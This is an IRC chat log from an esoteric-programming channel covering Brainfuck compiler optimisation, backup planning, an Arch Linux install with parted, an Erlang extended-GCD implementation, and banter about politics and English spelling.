BeholdMyGlory has quit (Nick collision from services.). 11:48:33 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 11:48:46 someone probably calculated/tested this already. 11:48:56 -> 11:50:05 On some Facebook quiz: "Your best friend tells you (s)he's pregnant. What is your reaction?" 11:52:00 -!- KingOfKarlsruhe has joined. 11:55:02 yay 11:55:11 I just managed to transform some unbalanced loops into ifs 11:57:08 oerjan, and iwc 11:57:10 :) 11:58:20 ehird, you want to read Darth&Droids today... Pirate ninjas! 11:58:24 ;P 12:21:05 -!- MigoMipo has joined. 12:33:38 * oerjan swats AnMaster for spoiling -----### 12:33:52 oerjan, thought you read it already 12:33:54 sorry 12:34:00 i was in the shower 12:34:18 oerjan, get a water proof computer :D 12:35:24 huh 12:35:32 I changed something completely unrelated 12:35:51 related to loop -> if conversion 12:35:54 and then it did this: 12:35:59 -p[-3]+=p[1]; 12:35:59 p[0]+=255; 12:35:59 +p[-3]+=p[1]; 12:35:59 +p[1]=0; 12:35:59 p[-4]+=p[0]; 12:36:00 p[0]=0; 12:36:02 -p[1]=0; 12:36:08 for no sane reason as far as I can see 12:37:11 a harmless reordering? 12:37:48 oerjan, sure, but it shouldn't happen 12:37:56 oerjan, from what I changed 12:38:34 anyway it is not very harmless. It is supposed to sort by offset when possible. 12:43:22 ah... 12:43:35 a bug in the shifter 12:43:51 it didn't properly recurse into all types of loops. Just the standard loop type. 12:44:28 oerjan, anyway I think in-between is the first compiler that can optimise _some_ unbalanced BF loops into ifs. 12:44:30 :) 12:44:45 Hm. 12:44:49 I be wondering now 12:44:50 -while (p[0]) { 12:44:50 +if (p[0]) { 12:44:50 p[-1]+=1; 12:44:50 p[0]+=255; 12:44:50 p[1]=0; 12:44:51 p[3]+=1; 12:44:53 p+=1; 12:44:55 } 12:44:57 like that 12:45:03 Would it be easy to program Limp on Mathematica? 12:45:19 It's full of math shit that might be useful, so I wonder 12:46:54 oerjan, btw... I have a question... 12:47:50 oerjan, sorting BF instructions by offset has many restructions, for example it must be a stable sort ([-]+ isn't same as +[-]) and you can't swap two output or input instructions with each other. 12:48:14 oerjan, currently I'm using something like a gnome sort. Which is a bit slow for lostking 12:48:34 any idea of a better one that will still be able to handle the various restrictions 12:50:07 -!- BeholdMyGlory_ has joined. 12:50:27 -!- BeholdMyGlory has quit (Nick collision from services.). 12:50:31 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 12:53:42 it sounds more like a topological sort than an ordinary sort, since there are a lot of pair restrictions? 12:53:58 oerjan, hm 12:54:04 oerjan, *googles* 12:55:17 oerjan, interesting. Yeah it seems so 12:55:30 (after a quick read of http://en.wikipedia.org/wiki/Topological_sorting) 12:56:05 maybe implementing it as a graph of cells using each other would be useful... 12:56:26 wouldn't work at all with current code which uses linked lists to create a parse tree 12:56:46 it would allow tracking dependencies nicely and so on 12:56:47 -!- BeholdMyGlory_ has joined. 12:56:57 -!- BeholdMyGlory has quit (Nick collision from services.). 12:57:03 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 12:57:06 not sure how to handle unbalanced loops in that though... 12:57:18 or loops at all 13:05:51 -!- BeholdMyGlory_ has joined. 13:06:08 -!- BeholdMyGlory has quit (Nick collision from services.). 13:06:11 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 13:08:09 the completely trivial one though--http://pastebin.ca/1429617 13:08:24 wait, you are using _unsigned long_ for the selected numbers? 13:08:48 i'm not sure that is large enough for a good precision 13:08:59 (not sure it isn't, either) 13:13:42 as for shortcuts, you could select both numbers odd from the outset, and just multiply the probability by ... 3/4, i think 13:15:26 oerjan, what is he using that gcd implementation for 13:15:43 calculating pi using random numbers 13:16:01 ah that one mentioned yesterday 13:16:29 i am just responding to the logs 13:20:44 -!- Corun has joined. 13:33:02 -!- Judofyr has joined. 13:49:29 -!- oerjan has quit ("leaving"). 14:25:45 -!- Corun has changed nick to Corun|away. 14:40:23 -!- Corun|away has changed nick to Corun. 14:44:05 -!- tombom has quit ("Peace and Protection 4.22.2"). 14:49:35 yyy 15:08:27 -!- BeholdMyGlory_ has joined. 15:21:28 -!- BeholdMyGlory has quit (Nick collision from services.). 15:21:31 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 15:51:12 -!- inurinternet has quit (Read error: 60 (Operation timed out)). 15:56:08 -!- MizardX has quit ("What are you sinking about?"). 16:06:37 -!- inurinternet has joined. 16:07:01 -!- BeholdMyGlory_ has joined. 16:07:57 -!- BeholdMyGlory has quit (Nick collision from services.). 16:08:16 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 16:11:33 -!- MizardX has joined. 17:23:23 -!- Corun has changed nick to Corun|away. 17:27:35 01:33 bsmntbombdood: ehird: what is accessing the disk then? 17:28:11 waiting for time travel to be invented, going back to 1977, hopping on voyager 2, interpreting the geometry of the universe, 17:28:15 waiting until you wrap around to earth, 17:28:24 and then entering the bits with magnets 17:28:36 yw 17:29:17 -!- oerjan has joined. 17:33:17 oerjan: think that's accurate? 17:34:27 er, what 17:34:47 * oerjan relogs 17:35:25 17:27 ehird: 01:33 bsmntbombdood: ehird: what is accessing the disk then? 17:35:25 17:28 ehird: waiting for time travel to be invented, going back to 1977, hopping on voyager 2, interpreting the geometry of the universe, 17:35:27 17:28 ehird: waiting until you wrap around to earth, 17:35:29 17:28 ehird: and then entering the bits with magnets 17:35:31 17:28 ehird: yw 17:36:41 * oerjan had to look up bsmntbombdood's original too 17:37:16 "USB FLOPPY DISK STRIPED RAID UNDER OS X" http://ohlssonvox.8k.com/fdd_raid.htm 17:37:42 i am not entirely sure that's accurate 17:38:09 what is the approximate ratio from main memory to main disk? 17:38:24 oerjan: main memory is molasses-slow, disk is astronomically slow 17:39:01 oerjan: i mean, to access the disk on a mechanical HD 17:39:06 that's equivalent to your _claim_, which i need numbers for in order to assess whether it's accurate 17:39:11 you have to send the request across the quite slow connection 17:39:17 it then has to seek 17:39:23 which is so slow you can hear it! 17:39:30 then it has to read it, and send the data back on the connection 17:39:33 whereas, memory on a modern CPU: 17:39:53 send the request across a fast transport, the RAM gets the data very quickly, and sends it back 17:40:18 oerjan: memory takes something like 100 cycles. the fastest mechanical HD (VelociRaptor) can do a read from a random position of the harddrive in *7 milliseconds* 17:40:27 so... no comparison 17:40:40 and i need numbers because (1) i have no intuition and little knowledge about hardware (2) my ballpark estimation ability is nearly nonexistent even for non-hardware subjects 17:40:59 i don't even know how much a cycle is nowadays 17:41:17 <- software guy at very abstract level at best 17:41:32 oerjan: 7ms = 7,000,000 nanoseconds, ram goes at like 3nanoseconds/cycle 17:42:06 so 300 ns vs. 7 ms 17:42:28 oerjan: no, you've got two more zeros there 17:42:37 disk is about a million times slower than RAM 17:42:52 ok, so a letter to taiwan vs time travel, voyager 2, is more than a million 17:42:56 but analogy-wise... 17:43:04 why couldn't you have said that when i asked for a fraction in the first place? :D 17:43:15 cuz I had to google it 17:43:15 :) 17:43:23 oerjan: note that if you have an SSD, it's 0.1ms 17:43:32 oerjan: = 100,000 nanoseconds 17:43:33 7000000/3 17:43:40 still molasses slow, but, faster. 17:43:42 and yes 17:43:45 I had to google the speeds 17:44:15 circle around earth ~= 1/7 light second iirc 17:44:25 -!- asiekierka has joined. 17:44:42 so, 1/3 million light seconds 17:44:54 haha wow you're actually working it out 17:45:48 about 3.85 light days, barely out of the solar system 17:45:54 :D 17:46:18 otoh there was that issue of snail mail vs. light speed 17:47:19 ok in time it's more impressive, say a week for mail to taiwan (see my lacking ability for ballparking) 17:47:47 ok 6388 years 17:47:58 that's about the age of the universe, right? ;D 17:48:35 oerjan: awesome 17:48:50 oh wait 17:49:01 dammit i forgot i'd cancelled the 7 17:49:24 44719 years 17:49:36 oerjan: amazing 17:53:59 * ehird burns an arch linux cd 17:54:00 I wonder what to do 17:54:10 What's the hardest assembly language EVER 17:54:10 as in 17:54:12 architecture 17:54:17 that's the hardest to write in assembly 17:54:28 Probably NOT x86, 6502, or any of deriatives of thes 17:54:29 e 17:54:29 -!- Corun|away has changed nick to Corun. 17:56:01 asiekierka: may i interest you in Malbolge Unshackled? 17:56:07 I said "assembly language" 17:56:08 * oerjan cackles uncontrollably 17:56:17 oh right, that's machine code 17:56:23 well, huh 17:56:24 wait 17:56:25 a very *evil* machine's code 17:56:28 machine code... 17:56:53 ehird, so what did you think about Darth & Droids today 17:56:58 Well, I still want to have a machine that does SUBLEQ 17:56:58 I don't read that comic. 17:57:06 ehird, you will love the one today 17:57:12 I could write some apps for it 17:57:13 link? 17:57:15 if I was ultra bored 17:57:16 ehird, sec 17:57:26 ehird, http://www.darthsanddroids.net/ 17:57:54 heh 17:58:01 ehird, pirate ninjas! 17:58:06 :P 17:58:20 you laugh now, but will you laugh when your home is destroyed by their power? 17:58:32 ehird, you said before they couldn't be combined 17:58:38 I wish someone build a SBN machine 17:58:45 ehird, also I didn't laugh. It was you who did 17:58:46 Subtract & Branch if Negative 17:58:49 AnMaster: they couldn't be combined *safely* 17:58:51 well, not exactly 17:58:54 rather "LEQ" 17:58:55 ehird, oh I see 17:58:56 SBLEQ 17:58:57 AnMaster: think strange quarks 17:59:10 ah 18:00:12 i'm going to install arch as a second os on this mac 18:00:22 hope I don't fuck anything up 18:00:58 ehird, as always: make backups 18:01:09 i don't have any viable backup media 18:01:19 and even if I did I'd wait until I get my new pc 18:01:23 ehird, well, be careful with fdisk stuff 18:01:28 and when I get my new pc, backing up will be unfeasible 18:01:42 since enough media to back up 160GB+2TB for a long time incrementally is... expensive 18:01:49 ehird, just buy almost as much external storage 18:01:56 AnMaster: almost as much? you mean more 18:02:02 surely? 18:02:08 ehird, depends on how you backup 18:02:12 incremental, then yes 18:02:21 incrementally, but if I buy less storage then I can't use any more than that 18:02:23 full every time: a bit less, no need to back up /tmp and /var/tmp 18:02:27 which is redonkulous 18:02:43 18:02 AnMaster: full every time: a bit less, no need to back up /tmp and /var/tmp ← uhm that'd only handle one backup 18:02:55 i want to keep backups forever, you see 18:03:02 ehird, that isn't feasible 18:03:11 sure is if you buy a lot of storage 18:03:25 you don't need to back up anything installed from package manager (exception: config files), since they can be restored by package manager easily 18:03:37 nor most of the things in /var/cache and similiar 18:03:37 AnMaster: i could just back up ~ 18:03:40 but I like snapshots 18:03:50 ehird, I would probably do ~ and /etc 18:03:57 keeping backups forever = ubiquitous revision control of all my computing 18:03:57 and /etc is pretty small 18:03:59 i'm a packrat 18:04:07 of history. :P 18:04:17 ehird, hm, put your entire ~ in git? 18:04:37 AnMaster: that requires manual effort to commit, annotate, etc, and storing .git locally would be infeasible 18:04:41 possibly exclude ~/vcs-checkouts so you can check out other git projects and such 18:04:49 i don't mind it being hard to flip through the backups later on 18:04:52 as long as it's possible 18:05:06 that's why, e.g. i prefer to archive in raw form things like irc logs, emails 18:05:13 ehird, hm... I fail to see where you would find the needed storage 18:05:43 AnMaster: 160GB + 12TB = 2208GB 18:05:53 ehird, generally, raw for for irc is pretty verbose. more so than using a partly parsed for 18:05:53 let's say that 10GB of the OS drive is used 18:05:54 form* 18:06:05 err 18:06:06 *2TB 18:06:10 let's say that 500GB of the 2TB drive is used 18:06:16 hm 18:06:17 well actually 18:06:18 kay 18:06:20 the os drive includes ~ 18:06:25 so let's say 60GB of the OS driv 18:06:26 e 18:06:26 uhu 18:06:28 and 500GB of the 2TB drive 18:06:37 so a non-incremental backup = 560GB 18:06:45 -!- ais523 has joined. 18:06:47 ehird, fun. 18:06:47 right? 18:06:49 so 18:06:57 560GB for first backup 18:06:59 ehird, but you forget that it will be compressed when backed up 18:07:05 AnMaster: oh, of course 18:07:10 AnMaster: but 18:07:15 the 500GB isn't very compressable 18:07:16 ehird, but in worst case, yeah 18:07:18 since it's movies/etc 18:07:27 the 60GB could probably compress to, let's say, 45 18:07:32 so 545GB for a non-incremental backup 18:07:41 now, let's say that each monthly backup changes 1GB of data 18:07:43 also hi ais523 18:07:45 (compressed) 18:08:08 hmm.. 18:08:10 right 18:08:17 so a year is 12GB 18:08:21 so ten years is 120GB 18:08:28 so 665GB total 18:08:35 now let's say that instead 10GB/mo changes, compressed 18:08:37 that's excessive, but 18:08:45 120GB/year 18:08:45 ehird, was this going to include /usr/bin and such? 18:08:48 or exclude that 18:08:51 AnMaster: include 18:08:54 right 18:08:54 so 1200GB ten years 18:09:04 545+1200 18:09:07 ehird, but not /tmp. It wouldn't make sense to include /tmp 18:09:08 = 1,745GB 18:09:16 hm 18:09:24 AnMaster: ofc, 18:09:28 i'd want to do non-incremental backups often 18:09:33 and I won't keep this system for 10 bloody years 18:09:35 but those two cancel out 18:09:46 -!- ais523_ has joined. 18:09:47 now, a 2TB drive costs 18:09:48 * ehird checks 18:10:15 2TB of storage costs around 200€ 18:10:18 AnMaster: $249.99 18:10:21 In a single drive, more than thata 18:10:22 -a 18:10:25 ehird, yes, you could have two storage units, you don't want to overwrite your only full backup, what if it fails when you are doing the backup 18:10:26 yeah, good point 18:10:28 ok, a 1TB drive costs, 18:10:49 AnMaster: $74.99 18:10:52 hm 18:10:53 ok 18:10:58 so let's say we buy 4 18:11:03 for a total of 4TB backup space 18:11:05 = $299.96 18:11:09 plus the cost of an external drive enclosure 18:11:17 -!- ais523 has quit (Nick collision from services.). 18:11:23 ehird, plus a fire proof wall mounted safe? 18:11:26 and hi again ais523_ 18:11:38 AnMaster: unfortunately I'm not egotistical enough to convince myself my works are worth surviving that :) 18:11:44 especially since I likely wouldn't 18:11:46 heh 18:11:56 ehird, depends on if you got out of the building in time 18:12:10 i'd die trying to drag the safe with me :-P 18:12:31 ah better to NOT have a safe, so you can easily take the backup with you 18:12:41 AnMaster: I don't get why the "wall mounted" 18:12:53 -!- ais523_ has changed nick to ais523. 18:13:01 ais523: it looks coolr 18:13:02 cooler 18:13:02 ais523_, maybe wrong word. I meant those that is mounted to the support structure, so it is hard to steal 18:13:11 flash drives may be better for backups, if you aren't backing lots of stuff up 18:13:18 because they easily fit in your pocket in an emergency 18:13:31 ais523: er, it was in the context of buying 4TB of backup space 18:13:31 ais523, he is talking about 500 GB+ 18:13:41 for just the full backup 18:13:53 so unless e.g. SSDs suddenly turn really cheap, that's not feasible 18:13:59 OTOH, mechanical disks are unreliable 18:14:07 OTOOH, I've never had one fail me 18:14:17 well, once 18:14:23 but that was my fault 18:14:49 ehird, what about using 18:14:53 *drum rolls* 18:14:54 tape 18:15:03 AnMaster: you are welcome to donate 4TB of tape to me 18:15:08 :) 18:15:13 ehird, ah I see the problem 18:15:41 hm... What languages would you say have sane macro systems btw? 18:15:56 Lisp, Scheme 18:16:03 mhm 18:16:15 Define "sane" 18:16:17 no other ones? 18:16:27 Deewiant, that is open for discussion. 18:16:31 I've never seen another sane one. 18:16:37 Deewiant: I'm using "good" as the definition. 18:16:51 There's not many that are all that good. 18:17:07 ehird: If you can call Forth's words 'macros', then Forth, too. 18:17:08 :p 18:17:08 GHC's Template Haskell is semi-good 18:17:19 Deewiant: Yeah but it's not really elegant. 18:17:23 I.e. modulo implementation restrictions 18:17:39 ehird, I think the erlang one is pretty sane, for being text replace based... All uses of macros must be prefixed with ?. And they are fairly limited. 18:17:47 Like the fact that the macros have to be defined in a different module than where they're used, coupled with the fact that only one module per file is allowed 18:17:49 "Text replace based" 18:17:52 You are disqualified. 18:17:52 ?trace(blah blah) 18:18:00 and that would be invalid 18:18:09 AnMaster: can you install pkgs from arch livecd 18:18:09 ? 18:18:10 D has handy string macros, but yeah... string macros. 18:18:10 into ram 18:18:11 since blah blah makes no sense 18:18:19 ehird, uh... no idea 18:18:21 why 18:18:28 AnMaster: to install irssi to chat while I install. 18:18:31 ehird, I only ever done net install 18:18:32 s/chat/bug you all/ 18:18:33 yes 18:18:34 net install 18:18:37 it's a livecd 18:18:44 containing a minimal linux setup 18:18:46 :p 18:18:55 ehird, and no idea. Why not create a cheap VM and try it ;P 18:19:04 cuz it's cheaper to reboot! 18:19:18 see you later green suckers of amazing 18:19:21 ←←←←←←←←←→ 18:19:59 " ←←←←←←←←←→" <-- Hm... Assuming that they are matching... He is more "here" than ever before 18:21:50 AnMaster: I believe presence in a channel is saturating 18:22:12 -!- ehird_ has joined. 18:22:22 it's better than kubuntu. 18:22:35 it recognized my wireless kb and mouse! 18:22:39 without doing anything! 18:22:52 ::::::::))))))))))))) 18:23:09 wait mouse isn't wireless, w/e, kb is wireless w/ bluetooth and it goddamn recognized it 18:23:25 i can almost forgive it for being text-based 18:23:46 AnMaster- can you hear me? 18:23:58 ais523? 18:24:06 hi ehird_ 18:24:10 also, what OS is that? 18:24:30 Arch Linux install CD. 18:24:51 ofc, it's the bios emulation recognizing my bluetooth KB, but dammit, kubuntu didn't do it! 18:24:54 ah, interesting 18:25:24 there's a possibility it won't work in X, but I doubt it 18:25:46 OK, time to break everything by partitioning 18:25:56 god nc is a terrible irc client 18:26:11 You should install a copy of RawIRC. 18:26:13 :) 18:26:23 heh, heh, heh, cfdisk refuses to run 'cuz of GPT. Tells me to use parted. 18:26:32 time to see if pacman works on a ramdisk 18:27:14 AnMaster, not with a - after no 18:27:18 ehird, ^ 18:27:27 (I fail highlighting too!) 18:27:48 anmaster it says protocol error when it tries to download the package list when i do pacman ;;;;( 18:28:05 ehird_, um... sounds like network is broken? 18:28:10 ehird, maybe mirror list is wrong 18:28:17 it is in /etc/pacman.d/mirrorlist 18:28:20 how can i change what mirror I'm using? /etc/- ah 18:28:34 /etc/pacman.conf right 18:28:42 ehird_, err that is not for the mirror list 18:28:46 that is for the over all config 18:28:57 mirror list is in /etc/pacman.d/mirrorlist or /etc/pacman.d/mirror_list 18:29:06 I want to force one particular mirror. 18:29:06 not sure, and arch computer is turned off due to cleaning 18:29:19 "add your preferred mirrors here" --pacman.conf 18:29:21 ehird, then comment the other ones out and just uncomment the one you want 18:29:35 ehird_, never done it that way 18:29:51 ah works now, luck of the draw 18:30:38 *fuck*, it already has parted, haha 18:30:59 [1~[5~argh, I can't scroll up. 18:31:14 ehird, um 18:31:38 nc doesn't use pageup to to scroll 18:31:46 AnMaster: it's a console, you silly. 18:31:57 it works in none of the 18:32:00 m 18:32:10 ehird, you may want to use the key combo for linux vt scroll then. which only seems to work until you switch vt 18:32:15 AnMaster: can you provide start/end to parted as anything other than sectors or whatever? 18:32:37 ehird_, no idea. I tend to use fdisk or gparted 18:32:38 :P 18:32:55 i can't use fdisk 18:33:06 oh 18:33:07 ? 18:33:27 Apple's partition table thing != BIOS's. 18:33:29 and if you already have free space at the end, which I assume, since you probably used bootcamp to free up some space? 18:33:42 nah, I have the drives from my old Kubuntu 18:33:46 need to nuke them 18:34:00 AnMaster, could you "parted\nhelp" and tell me how to lit partitions? 18:34:01 ehird, well ok, can't you just do that and mkfs on them 18:34:29 ehird_, how short is your scrollback but ok 18:34:42 what is the vt scroll combo? 18:34:54 ctrl-alt-pgup iirc 18:35:00 print [devices|free|list,all|NUMBER] display the partition table, available devices, free space, all found partitions, or a particular partition 18:35:03 is what you want I guess 18:35:05 no dive-- thanks 18:35:11 *dice 18:35:16 ehird_, is that VGA or VT 18:35:20 err 18:35:23 VGA or FB 18:35:25 I meant 18:35:26 on the vt 18:35:35 it probably only works for frame buffer consoles 18:35:38 It's console. 18:35:42 non-fb 18:35:57 so vga. AnMaster, what is the cmd to add a partition? add odnes't work 18:37:35 AnMaster: 18:37:51 hm 18:37:59 ehird_, sorry was afk, had to clean my glasses 18:38:04 OK 18:38:06 mkfs NUMBER FS-TYPE make a FS-TYPE file system on partititon NUMBER 18:38:06 mkpart PART-TYPE [FS-TYPE] START END make a partition 18:38:06 mkpartfs PART-TYPE FS-TYPE START END make a partition with a file system 18:38:14 mkpartfs, thanks 18:38:27 ehird_, it can probably only handle basic ones 18:38:32 lolwtf, it wants a partition name :-) 18:38:49 "Arch" then 18:38:58 ehird, also that help is LESS than 25 lines. 18:39:04 how can you not be able to read it 18:39:33 wait ok, some lines are longer than 80 18:39:34 sorry 18:40:35 Support for creating ext3 filesystems is not sdfksdf yet. lol ok 18:40:53 ehird, just create partition then manually create file system 18:41:13 yeah. swap partitions have no fs right? 18:41:30 ehird, mkswap /dev/whatever 18:41:33 is what you do for them 18:41:40 -!- tombom has joined. 18:42:01 ehird_, just adds some header think. NOTE: mkswap doesn't ask for confirmation! 18:42:10 The installer will do that. AnMaster: wtf, parted is daemanding a partition type even for @"mkpart" and i dunno what to give it, it won't accept swap 18:42:20 oh "linux-swap" 18:42:23 ehird, err that is the number think I assume 18:42:26 80 or whatever 18:42:27 forgot 18:43:04 ehird_, err 18:43:05 AnMaster: do i need to run any command to save? or does just quit work 18:43:06 PART-TYPE is one of: primary, logical, extended 18:43:10 that seems wrong 18:43:10 -!- asiekierka has quit. 18:43:21 i'm using the prompt version, and that doesn't apply to GPT iirc 18:43:32 if you omit params it prompts you 18:43:37 ehird, I'm using the prompt too: help mkpart 18:43:38 but yeah is there a save/write command? 18:43:39 ah ok 18:43:45 ehird_, *looks* 18:43:53 thanks 18:44:11 ehird_, btw parted has tab completion 18:44:17 oh, yay 18:44:29 nope, just exit 18:44:34 seems so 18:44:54 ehird_, fun, help doesn't list all commands 18:45:21 heh. *puts ext4 on /* 18:45:36 like "mktable" (don't do it, help mktable says it is for changing between GPT, MBR and so on) 18:45:38 it's installing time!! 18:46:19 i have an itch vto install w3m. bloody internet addiction 18:48:09 ehird_, might be useful in case you need have issues with X and need to google to find out how to solve it 18:48:11 or such 18:48:46 i mean on this ramdisk :-) 18:49:32 but I have every faith in Xorg's auto-detection. probably. i mean, evdev is the only thing that actually works with one of the mice i have :-) 18:51:31 F U C K 18:51:57 THIS IS THE X86 CD NOT THE X86_64 ONE 18:52:04 BRB ANGRYREBOOTING 18:54:36 raaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaage 18:54:36 -!- ehird_ has quit (Read error: 104 (Connection reset by peer)). 18:55:03 * ehird downloads the Real Fucking CD 18:56:22 AnMaster: excuse me, be annoyed 18:56:23 thankyou 18:56:38 ? 18:56:48 ah 18:56:52 wrong cd heh 18:56:57 well it'd work just fine 18:57:02 but not very 64bitlovefesty 18:57:08 of course it worked 18:57:18 http://www.crooksdesign.co.uk/stock-photography-misuse.html ← ah, the BNP 18:57:31 such irritating xenophobes 18:57:42 (british national"ist" party) 18:57:45 hm, is it possible to make a tail recursive version of the _Extended_ GCD. 18:57:53 AnMaster: paste the code 18:58:00 extended_gcd(A,B) -> 18:58:00 case A rem B of 18:58:00 0 -> {0, 1}; 18:58:00 N -> 18:58:00 {X, Y} = extended_gcd(B, N), 18:58:01 {Y, X-Y*(A div B)} 18:58:05 end. 18:58:07 is what I have atm 18:58:13 not tail recursive 18:58:20 also I haven't tested it yet. 18:58:28 AnMaster: not truly tail recursive, no, it seems 18:58:29 just based it on pseudo code found on wikipedia 18:58:33 ofc, you could continuation-passing-style 18:58:38 ehird, there is an iterative style 18:58:39 but that just sucks up another part of memory 18:58:45 AnMaster: show the iterative style 18:58:58 ehird, would be flooding on irc. sec for link 18:59:05 http://en.wikipedia.org/wiki/Extended_Euclidean_algorithm#Iterative_method 18:59:17 AnMaster: yes, you could do that 18:59:29 AnMaster: change every variable in the pseudocode to a parameter 18:59:34 ehird, would be rather inelegant though 18:59:34 to change a variable, recurse with its new value 18:59:38 prophet 18:59:44 yes it would work 18:59:51 AnMaster: so do it :) 19:00:05 ehird, less elegant. As usual 19:00:12 but meh 19:00:46 http://www.crooksdesign.co.uk/images/bnp_poster.jpg ← this is a polish plane 19:00:48 discuss the irony 19:01:12 ehird, looks like an UK one to me. 19:01:22 'tis not 19:01:22 http://www.theregister.co.uk/2009/03/04/polish_spitfire/ 19:01:26 hilarious 19:01:31 ah 19:01:40 ehird, Spitfire is originally from UK though 19:01:44 of course 19:01:44 the model I mean 19:02:02 but for a party that goes around talking about how polish immigrants are ruining the UK with their devil fire and Muslins... 19:04:28 yeah 19:04:33 Muslins? 19:05:02 huh aspell accepts it 19:05:07 AnMaster: Muslin is a type of fibre. 19:05:07 * AnMaster googles 19:05:09 Fiber 19:05:12 yep seems so 19:05:18 It is destroying the world. 19:05:21 what has that got to do with Polish 19:05:28 ehird: if muslin is involved, then would polish immigrants refer to making things shinier? 19:05:42 AnMaster: right wingers often misspell muslim as muslin 19:05:46 because they're ignorant, see. 19:06:07 and, Polish is Catholic iirc 19:06:14 Poland* 19:06:21 "with their devil fire and Muslims" 19:06:27 i.e., they're collaborating with muslims to end the world 19:06:38 uhu 19:06:39 it's a joke, see. about the BNP's "send all immigrants back!!12182374" policy. 19:06:40 laugh. 19:06:44 and what would devil fire be 19:07:03 fire personally provided by the devil? 19:07:47 uhu 19:07:50 yeah 19:07:54 AnMaster: to basically sum up the BNP, their founder once said "Mein Kampf is my bible" 19:07:54 makes no sense 19:08:01 and correct, but I made up "devil fire" 19:08:19 * AnMaster goes back working on that gcd 19:10:24 "Text adventure blockbusters Zork I II III (PC/MAC) now free from Infocom!" 19:10:30 AnMaster: the table method listed on wp can be made to work tail recursive 19:10:31 oh, wait 19:10:35 that's the old pirate site, I think 19:10:42 what a disappointm— 19:10:46 oerjan, which is the most efficient one though 19:10:49 hmm 19:10:50 yeah 19:11:03 AnMaster: don't ask me such questions :D 19:11:08 oerjan, why not 19:12:35 because accurate speed and efficiency is incompatible with how my brain works. or something. 19:17:55 AnMaster: oh, the table method and the iterative method may be equivalent. i was confused by how the description of the latter seemed to calculate the quotients first, but the pseudocode seems to interleave them 19:18:07 mhm 19:18:13 I don't want an efficient method. 19:18:16 I want a fast method. 19:18:40 pikhq: i may have to slap you for that practical remark 19:18:41 (10 trillion CPUs for a single calculation is absurdly fast. It sure as hell isn't efficient. :D) 19:18:43 * ehird slaps pikhq 19:18:55 ehird: Not practical. 19:19:10 It's a desire for a room of blinkenlights. 19:19:12 huh, the iterative one return one more result than the recursive one 19:19:15 THEORY TRUMPS EVER— oh okay 19:19:16 I don't want a practical method. 19:19:18 I want a fast method. 19:19:18 in the pseudo code 19:19:23 that makes no sense? 19:19:25 * ehird punches Deewiant 19:19:30 wait no 19:19:32 is that good or bad 19:19:34 aaaaaaargh 19:19:36 oerjan, ^ 19:19:36 i can't tell 19:20:56 AnMaster: perhaps that a is just the gcd 19:21:15 the recursive one only returns the coefficients 19:21:31 gcd_test:extended_gcd(3, 9). 19:21:31 {1,0,3} 19:21:40 that is the iterative 19:21:51 Deewiant: Get 100 of the uber-build that ehird and I built. 19:21:54 gcd_test:extended_gcd_rec(3, 9). 19:21:54 {1,0} 19:22:01 pikhq: it wasn't all that fast 19:22:02 i mean 19:22:04 tons of HDs 19:22:09 isn't gonna really do anything for speed 19:22:13 oerjan, aha 19:22:20 AnMaster: right, the latter doesn't return the actual gcd. easy to modify though. 19:22:30 ehird: It had 32 cores. 19:22:37 oerjan, yeah. But I'm going for iterative one. Now just to clean it up 19:22:39 That's ridiculously fast. 19:22:40 ;) 19:22:44 pikhq: yes but 19:22:48 that doesn't cost $80k 19:23:00 http://rafb.net/p/0LVnQZ12.html is the "raw" translation of it 19:23:05 there are some pointless variables there 19:24:44 http://rafb.net/p/Oy8qYb13.html that is better 19:24:54 of course it could be merged into the call if we wanted 19:25:27 AnMaster: extended_gcd(A, B, X, Y, LastX, LastY) -> Quot = A div B, extended_gcd(B, A rem B, LastX-Quot*X, LastY-Quot*Y, X, Y) 19:25:42 ehird, yep 19:25:45 that was my point 19:25:51 yes 19:26:13 AnMaster: note that calculating div and rem simultaneously can be faster iirc if you have a function for it 19:26:22 and since erlang doesn't actually need newlines there you could do it all in one line, apart from the initial -module(gcd_test). which needs to be on a separate one 19:26:29 oerjan: dude he's using erlang 19:26:52 oerjan, don't think I have... but it is possible erlang optimises that 19:26:57 ehird: i don't know if erlang does, i know haskell has it 19:27:00 AnMaster: divmod 19:27:02 google for it 19:27:06 everything has it 19:27:08 ehird, I know what it is 19:27:15 oerjan: i meant, microöptimization hardly helps 19:27:31 ehird, and C doesn't. 19:27:31 ehird: perhaps not 19:27:35 ehird: haha, I love your technically-speaking-correct Englih 19:27:37 *English 19:27:54 ehird: but if the bignum routines take most of the time, still... 19:27:58 ais523: yes, the diaeresis is a true friend of mine 19:28:13 what's its use called in English? 19:28:15 ais523, how is it correct? 19:28:16 I'm not sure 19:28:19 * oerjan recalls that his brain is not supposed to care about speed and efficiency 19:28:21 AnMaster: preëmptive 19:28:22 it's old-style 19:28:24 nowadays ẍ is -x 19:28:26 oh ok 19:28:32 micro-optimization used to be microöptimization 19:28:35 ehird: Or just x 19:28:35 it's the only accent english as 19:28:36 has 19:28:36 AnMaster: in theory, you can use a diaresis (looks the same as an umlaut) to separate two syllables in English 19:28:43 Deewiant: yes 19:28:45 but nobody's used it for years 19:28:48 ais523, heh 19:28:51 so it's more or less died out from the language 19:28:56 it looks pretty 19:28:56 you can see it in old books, sometimes 19:29:01 agreed 19:29:02 I use it in stuff I don't intend others to read 19:29:10 and in a few names, like Zoë 19:29:20 is Zoë an english name? 19:29:28 Yes 19:29:41 Without the umlaut... 19:29:46 GregorR-L: I meant with. 19:29:51 Also, not an umlaut. 19:29:59 Diarrhea. I mean, 19:30:05 diaeresis 19:30:08 Without the diacritical mark ... 19:30:15 GregorR-L: I meant _with_. 19:30:28 And I'm saying it is, but only without :P 19:30:39 ais523: defend yourself! 19:30:43 You mean most people don't think of the diaeresis? 19:30:56 pikhq: most people don't even know it's valid in English... 19:30:56 ehird: against what? 19:30:57 I've seen the name, but only without. 19:30:59 or ever was 19:31:04 poor Zoë and her diarrhea 19:31:09 ais523: that Zoë is a valid english name, not just Zoe. GregorR-L seems to think not. 19:31:14 GregorR-L: that's because most English people never bother to learn how to type it 19:31:18 I suppose next you'll tell me that people don't think of "print'ed" making the e pronounced. 19:31:24 There's no such thing as an "invalid" name. 19:31:38 